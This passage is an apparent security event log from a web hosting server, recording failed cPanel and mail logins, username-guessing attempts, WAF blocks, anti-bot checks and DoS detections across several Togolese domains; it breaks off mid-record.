rule: 11000
name: Login failed on the cpanel service.
abuser: 205.201.77.3
country_id: 6252001
description:
[2026-06-22 22:29:42 +0000] info [cpaneld] 205.201.77.3 - dgdn "GET /login/?login_only=1&user=dgdn&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdn (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.58
country_id: 6252001
description:
205.169.39.58 - - [22/Jun/2026:22:30:45 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10064743&pdata=https%253A%252F%252Fwww.snb.tg%252Fhome&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782167444 HTTP/2.0" 302 0 www.snb.tg "https://www.snb.tg/home" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.58


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 104.197.69.115
country_id: 6252001
description:
104.197.69.115 - - [22/Jun/2026:22:30:48 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13266846&pdata=https%253A%252F%252Fwww.snb.tg%252Fhome&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782167447 HTTP/2.0" 302 0 www.snb.tg "https://www.snb.tg/home" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.197.69.115


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:22:34:51 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13224086&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782167688 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 183.108.233.190
country_id: 1835841
description:
Jun 22 22:39:13 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 183.108.233.190 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.108.233.190
country_id: 1835841
description:
2026-06-22 22:39:15 dovecot_login authenticator failed for H=([106.10.69.50]) [183.108.233.190]:43285: 535 Incorrect authentication data (set_id=info@emt.tg)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 102.64.171.58
country_id: 2363686
description:
[2026-06-22 22:45:01 +0000] info [cpaneld] 102.64.171.58 - mvfxewjz "GET /cpsess4804377194/frontend/jupiter/email_accounts/index.html HTTP/1.1" DEFERRED LOGIN cpaneld: cookie ip check: IP address has changed: IP Address [196.171.122.34] != Current IP Address [102.64.171.58]


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.243.252.106
country_id: 290291
domain: www.arse.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg:80/wp-content/themes/jannah/assets/css/plugins/bbpress.min.css?ver=7.1.0 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.247.71.176
country_id: 290557
domain: www.arse.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg:80/wp-content/themes/jannah/assets/css/style.min.css?ver=7.1.0 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.247.64.50
country_id: 3017382
domain: www.arse.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg:80/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=6.0.3 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 178.93.133.214
country_id: 3658394
domain: www.arse.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg:80/wp-includes/css/dashicons.min.css?ver=6.7.5 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 176.97.79.119
country_id: 2750405
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:22-45.176.97.79.119||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.245.234.40
country_id: 798544
domain: www.arse.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg:80/wp-content/plugins/taqyeem-buttons/assets/style.css?ver=6.7.5 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.246.209.173
country_id: 290557
domain: www.arse.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg:80/wp-content/plugins/embedpress/assets/css/embedpress.css?ver=6.7.5 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 208.84.101.111
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 208.84.101.111: 80 connections per 30 seconds to 80 port.


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 62.197.45.211
country_id: 2750405
domain: direct7.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:22-48.62.197.45.211||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:22:50:01 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9805459&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782168596 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [22/Jun/2026:22:50:04 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10012776&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782168599 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 195.177.93.67
country_id: 2658434
description:
195.177.93.67 - - [22/Jun/2026:22:49:55 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7444893&pdata=https%253A%252F%252Fwww.snb.tg%252Fhome&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782168593 HTTP/2.0" 302 0 www.snb.tg "https://www.snb.tg/home" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:195.177.93.67


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.138.16.178
country_id: 798544
description:
Jun 22 22:50:31 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.138.16.178 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.183.88.219
country_id: 3865483
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/amelioration-du-climat-des-affaire-lancement-dune-enquete-de-satisfaction-du-secteur-prive-au-togo HTTP/1.1||RSV:8.19||T:APACHE||


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 34.223.45.202
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 34.223.45.202: 80 connections per 30 seconds to 53 port.


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 34.223.45.234
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 34.223.45.234: 80 connections per 30 seconds to 53 port.


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 34.223.45.205
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 34.223.45.205: 80 connections per 30 seconds to 53 port.


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 34.218.216.168
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 34.218.216.168: 80 connections per 30 seconds to 53 port.


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 44.242.178.229
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 44.242.178.229: 80 connections per 30 seconds to 53 port.


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 44.242.178.157
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 44.242.178.157: 80 connections per 30 seconds to 53 port.


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 44.242.178.213
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 44.242.178.213: 80 connections per 30 seconds to 53 port.


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 51.83.4.64
country_id: 3017382
description:
[2026-06-22 22:56:31 +0000] info [cpaneld] 51.83.4.64 - cvajhehu "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cvajhehu (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.228.113.27
country_id: 1835841
description:
Jun 22 22:58:17 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.228.113.27 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.228.113.27
country_id: 1835841
description:
2026-06-22 22:58:19 dovecot_login authenticator failed for H=([211.228.113.27]) [211.228.113.27]:47590: 535 Incorrect authentication data (set_id=info@tps.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.169.99.242
country_id: 3686110
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-json/wp/v2/posts/1729 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.169.82.89
country_id: 1562822
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/tofa-2026-ouidah-entre-tradition-et-spiritualite HTTP/1.1||RSV:8.19||T:APACHE||


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 69.28.41.222
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 69.28.41.222: 80 connections per 30 seconds to 53 port.


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 152.231.189.83
country_id: 3624060
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/enseignement-superieur-au-togo-de-largent-mobilise-pour-le-progres-des-universites-publiques HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.56.145.120
country_id: 953987
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/promotion-des-produits-locaux-la-cci-togo-et-togomall-signent-un-protocole-daccord HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 68.132.98.137
country_id: 6252001
description:
[2026-06-22 23:07:48 +0000] info [cpaneld] 68.132.98.137 - cafeittg "GET /login/?login_only=1&user=cafeittg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cafeittg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 71.250.83.40
country_id: 6252001
description:
[2026-06-22 23:08:04 +0000] info [cpaneld] 71.250.83.40 - ca "GET /login/?login_only=1&user=ca&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ca (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 174.72.86.150
country_id: 6252001
description:
[2026-06-22 23:07:45 +0000] info [cpaneld] 174.72.86.150 - cafeit "GET /login/?login_only=1&user=cafeit&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cafeit (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 75.218.86.73
country_id: 6252001
description:
[2026-06-22 23:07:54 +0000] info [cpaneld] 75.218.86.73 - cafe "GET /login/?login_only=1&user=cafe&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cafe (has_cpuser_file failed)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.172
country_id: 690791
description:
2026-06-22 23:08:39 H=([45.144.212.172]) [45.144.212.172]:52858 F=<dpr@priv8shop.com> rejected RCPT <garyconsultant@outlook.com>: Sender verify failed


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 185.220.113.66
country_id: 99237
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/industrie-la-zone-franche-togolaise-source-demplois HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 123.113.171.152
country_id: 1814991
description:
Jun 22 23:11:52 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 123.113.171.152 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 123.113.171.152
country_id: 1814991
description:
2026-06-22 23:11:54 dovecot_plain authenticator failed for H=(kofe24krlcgjtlm8n6d) [123.113.171.152]:50736: 535 Incorrect authentication data (set_id=admin@togocarrierebetons.com)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.57
country_id: 6252001
description:
205.169.39.57 - - [22/Jun/2026:23:16:33 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6777185&pdata=http%253A%252F%252Fekeasarl.com&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782170191 HTTP/1.1" 302 0 ekeasarl.com "http://ekeasarl.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.57


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.123.170.104
country_id: 6252001
description:
34.123.170.104 - - [22/Jun/2026:23:16:34 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9989315&pdata=http%253A%252F%252Fekeasarl.com&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782170189 HTTP/1.1" 302 0 ekeasarl.com "http://ekeasarl.com/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.123.170.104


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.122.147.229
country_id: 6252001
description:
34.122.147.229 - - [22/Jun/2026:23:16:39 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9999817&pdata=https%253A%252F%252Fekeasarl.com&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782170197 HTTP/2.0" 302 0 ekeasarl.com "https://ekeasarl.com/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.122.147.229


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.136.241
country_id: 3469034
description:
Jun 22 23:19:18 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.136.241 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [22/Jun/2026:23:19:35 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7116646&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782170374 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:23:19:41 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9671061&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782170376 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 167.71.235.30
country_id: 1269750
description:
167.71.235.30 - - [22/Jun/2026:23:22:02 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6723429&pdata=https%253A%252F%252Fwww.snb.tg%252Fhome&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782170520 HTTP/2.0" 302 0 www.snb.tg "https://www.snb.tg/home" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:167.71.235.30


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 45.38.156.139
country_id: 798544
description:
45.38.156.139 - - [22/Jun/2026:23:22:42 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9947034&pdata=https%253A%252F%252Ftogomedia24.tg%252F2022%252F11%252F03%252Fle-president-ivoirien-aurait-il-rejete-un-projet-daccord-de-liberation-des-soldats%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782170560 HTTP/2.0" 302 0 togomedia24.tg "https://togomedia24.tg/2022/11/03/le-president-ivoirien-aurait-il-rejete-un-projet-daccord-de-liberation-des-soldats/" "Mozilla/5.0 (Linux; Android 8.0; Pixel 2 Build/OPD3.170816.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.9145.1469 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:45.38.156.139


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 143.255.85.138
country_id: 3625428
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/togo-les-faits-marquants-du-nouveau-gouvernement HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 137.184.140.204
country_id: 6252001
description:
137.184.140.204 - - [22/Jun/2026:23:24:40 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7236761&pdata=https%253A%252F%252Fwww.snb.tg%252Fhome&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782170678 HTTP/2.0" 302 0 www.snb.tg "https://www.snb.tg/home" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:137.184.140.204


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 72.205.224.44
country_id: 6252001
description:
[2026-06-22 23:27:42 +0000] info [cpaneld] 72.205.224.44 - dgdntogo "GET /login/?login_only=1&user=dgdntogo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 97.181.25.172
country_id: 6252001
description:
[2026-06-22 23:27:45 +0000] info [cpaneld] 97.181.25.172 - dgdntogotg "GET /login/?login_only=1&user=dgdntogotg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdntogotg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 71.197.52.81
country_id: 6252001
description:
[2026-06-22 23:27:52 +0000] info [cpaneld] 71.197.52.81 - dgdnt "GET /login/?login_only=1&user=dgdnt&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdnt (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.199.155.31
country_id: 6252001
description:
[2026-06-22 23:27:47 +0000] info [cpaneld] 73.199.155.31 - dgdntog "GET /login/?login_only=1&user=dgdntog&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdntog (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 68.13.205.112
country_id: 6252001
description:
[2026-06-22 23:27:50 +0000] info [cpaneld] 68.13.205.112 - dgdnto "GET /login/?login_only=1&user=dgdnto&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdnto (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 216.145.84.248
country_id: 6252001
description:
[2026-06-22 23:27:56 +0000] info [cpaneld] 216.145.84.248 - dgd "GET /login/?login_only=1&user=dgd&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgd (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.95.216.2
country_id: 6252001
description:
[2026-06-22 23:28:00 +0000] info [cpaneld] 38.95.216.2 - dg "GET /login/?login_only=1&user=dg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dg (has_cpuser_file failed)


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 42.236.11.209
country_id: 1814991
description:
Denial of Service (DoS) attack was discovered from 42.236.11.209: 80 connections per 30 seconds to 53 port.


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.9.60
country_id: 3175395
description:
Jun 22 23:29:30 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.9.60 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.119.35.240
country_id: 953987
description:
2026-06-22 23:29:57 dovecot_plain authenticator failed for H=(localhost) [160.119.35.240]:55211: 535 Incorrect authentication data (set_id=contact@emt.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.9.60
country_id: 3175395
description:
Jun 22 23:29:37 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.9.60 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.9.46
country_id: 3175395
description:
Jun 22 23:31:11 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.9.46 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 116.171.106.15
country_id: 1814991
description:
Jun 22 23:31:17 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 116.171.106.15 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.171.106.15
country_id: 1814991
description:
2026-06-22 23:31:19 dovecot_plain authenticator failed for H=(a3v9ainnlethojj05t60) [116.171.106.15]:45130: 535 Incorrect authentication data (set_id=emmanuel.megbenu@mesyscom.com)


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 208.84.101.197
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 208.84.101.197: 80 connections per 30 seconds to 80 port.


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.244.123.240
country_id: 6252001
description:
[2026-06-22 23:32:31 +0000] info [cpaneld] 73.244.123.240 - togointe "GET /login/?login_only=1&user=togointe&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togointe (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 96.224.17.209
country_id: 6252001
description:
[2026-06-22 23:32:28 +0000] info [cpaneld] 96.224.17.209 - togointerimnet "GET /login/?login_only=1&user=togointerimnet&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togointerimnet (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.172.161.117
country_id: 6252001
description:
[2026-06-22 23:32:20 +0000] info [cpaneld] 73.172.161.117 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 24.127.115.140
country_id: 6252001
description:
[2026-06-22 23:32:25 +0000] info [cpaneld] 24.127.115.140 - togointerim "GET /login/?login_only=1&user=togointerim&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togointerim (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 24.5.198.141
country_id: 6252001
description:
[2026-06-22 23:32:36 +0000] info [cpaneld] 24.5.198.141 - togoint "GET /login/?login_only=1&user=togoint&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togoint (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 68.40.25.218
country_id: 6252001
description:
[2026-06-22 23:32:47 +0000] info [cpaneld] 68.40.25.218 - tog "GET /login/?login_only=1&user=tog&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tog (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.215.88.36
country_id: 1643084
description:
Jun 22 23:33:28 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.215.88.36 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.130.192.18
country_id: 6252001
description:
[2026-06-22 23:32:38 +0000] info [cpaneld] 38.130.192.18 - togoin "GET /login/?login_only=1&user=togoin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togoin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.127.16.4
country_id: 6252001
description:
